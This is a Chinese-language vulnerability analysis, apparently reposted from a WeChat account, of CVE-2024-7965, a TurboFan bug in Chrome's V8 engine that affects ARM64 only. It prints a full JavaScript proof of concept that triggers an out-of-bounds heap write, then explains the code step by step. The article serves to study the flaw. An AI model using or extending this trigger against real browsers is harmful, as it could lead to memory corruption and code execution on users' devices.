简介:
128.0.6613.84之前的谷歌Chrome V8中不恰当的实现让远程攻击者可以通过精心设计的HTML页面对堆损坏进行潜在的攻击。
这是V8中仅在ARM64中出现的漏洞
(Chromium安全级别:高)
代码与分析:
var arrx = new Array(150);
arrx[0] = 1.1;
var fake = new Uint32Array(10);
fake[0]= 1;
fake[1] =3;
fake[2]=2;
fake[3] = 4;
fake[4] = 5;
fake[5] = 6;
fake[6] = 7;
fake[7] = 8;
fake[8] = 9;
var tahir = 0x1;
function poc(a) {
var oob_array = new Array(5);
oob_array[0] = 0x500;
let just_a_variable = fake[0];
let another_variable3 = fake[7];
if(a % 7 == 0)
another_variable3 = 0xff00000000; //spray high bytes
another_variable3 = Math.max(another_variable3,tahir);
another_variable3 = another_variable3 >>> 0;
var index = fake[3];
var for_phi_modes = fake[6];
let c = fake[1];
//giant loop for generate cyclic graph
for(var i =0;i<10;i++) {
if( a % 3 == 0){
just_a_variable = c;
}
if( a % 37 == 0) {
just_a_variable = fake[2];
}
if( a % 11 == 0){
just_a_variable = fake[8];
}
if( a % 17 == 0){
just_a_variable = fake[5];
}
if( a % 19 == 0){
just_a_variable = fake[4];
}
if( a % 7 == 0 && i>=5){
for_phi_modes = just_a_variable;
just_a_variable = another_variable3;
}
if(i>=6){
for(let j=0;j<5;j++){
if(a % 5 == 0) {
index = for_phi_modes;
oob_array[index] = 0x500; //zero extends before getting value
}
}
}
for_phi_modes = c;
c = just_a_variable;
}
//zero extend
return [index,BigInt(just_a_variable)];
}
for(let i = 2; i<0x500;i++) {
poc(i); //compile using turbofan
}
poc(7*5);
这个脚本是一个为 ARM64 设备设计的漏洞利用原型(PoC),用于触发 CVE-2024-7965 漏洞。
通过复杂的数组操作和循环逻辑,企图达到越界访问或者修改内存的目的,从而可能实现任意代码执行。
脚本的核心部分是利用 TurboFan 编译器优化的特性,通过特定的数据操作来破坏内存结构。接下来对代码进行详细分析。
var arrx = new Array(150);
arrx[0] = 1.1;
这里初始化了一个长度为 150 的数组 arrx,并给第一个元素赋值为 1.1。由于 JavaScript 数组可以存储不同类型的元素,所以数组 arrx 在这个阶段是浮点型。
var fake = new Uint32Array(10);
fake 是一个长度为 10 的 Uint32Array(无符号 32 位整数数组),被用来存储一些初始值。后续的漏洞利用会使用这些数据进行内存操作。
2、定义变量 tahir 和 poc 函数:
var tahir = 0x1;
tahir 是一个简单的常量,赋值为 0x1。
function poc(a) {
var oob_array = new Array(5);
oob_array[0] = 0x500;
函数 poc 接受一个参数 a。函数内部首先定义了一个长度为 5 的数组 oob_array,并为其第一个元素赋值 0x500。oob_array 可能在后续的逻辑中被用于越界访问(out-of-bounds)。
3、控制流程与数据操作:
let just_a_variable = fake[0];
let another_variable3 = fake[7];
if(a % 7 == 0)
another_variable3 = 0xff00000000; //喷洒高位字节
这里从 fake 数组中取出元素赋值给 just_a_variable 和 another_variable3。如果 a 能被 7 整除,another_variable3 将被赋值为 0xff00000000,这可以被看作是一次 “喷洒” 高位字节的操作,目的是操纵内存布局。
another_variable3 = Math.max(another_variable3, tahir);
another_variable3 = another_variable3 >>> 0;
这里将 another_variable3 与 tahir 进行比较,取较大的值,并通过 >>> 0 操作将其转换为无符号整数。
4、核心循环逻辑:
for(var i = 0; i < 10; i++) {
if (a % 3 == 0) just_a_variable = c;
if (a % 37 == 0) just_a_variable = fake[2];
if (a % 11 == 0) just_a_variable = fake[8];
...
这是一个长度为 10 的循环,依赖 a 的取值来决定不同的操作。这些操作包括条件性地修改 just_a_variable,并且涉及到 fake 数组的元素。通过多种条件的组合,试图在内存布局中创建某种有利于攻击的结构,可能利用编译器在循环优化时产生的漏洞。
5、越界写入:
if (i >= 6) {
for (let j = 0; j < 5; j++) {
if (a % 5 == 0) {
index = for_phi_modes;
oob_array[index] = 0x500; //越界写入操作
}
}
}
这里的操作特别危险,index 可能是通过伪造数据(for_phi_modes)控制的,如果 index 超出数组 oob_array 的范围,这将会导致越界写入(out-of-bounds write),从而可能覆写其他内存区域的数据。
6、调用与利用:
for (let i = 2; i < 0x500; i++) {
poc(i); //通过 TurboFan 编译器优化
}
脚本最后通过多次调用 poc 函数,并且特意让 TurboFan 编译器优化这些循环调用。在一些优化过程中,编译器可能未能处理好边界条件,导致安全问题。
关键点分析
TurboFan 编译器优化:TurboFan 是 V8 引擎中的优化编译器,通过频繁调用 poc 函数,脚本试图诱导 TurboFan 生成的代码在边界检查上产生漏洞,从而实现越界访问或写入。
内存破坏:通过复杂的条件控制流,脚本试图创建出一种可以操纵内存指针的情况(如 index 和 for_phi_modes),从而进行越界写入,可能导致内存破坏,进一步用于任意代码执行。
条件分支与循环:脚本中多次使用复杂的条件判断和循环逻辑来混淆内存操作,可能意在规避一些简单的防护机制,并诱导编译器优化过程中出现漏洞。
总结
该 PoC 的主要目的是在 ARM64 设备上利用 V8 引擎中的漏洞,尤其是通过 TurboFan 编译器的优化过程中诱导越界内存操作。通过操控数组的索引和复杂的条件流,攻击者试图触发漏洞并达到任意代码执行的目的。
原文始发于微信公众号(洛米唯熊):CVE-2024-7965 Chrome 浏览器漏洞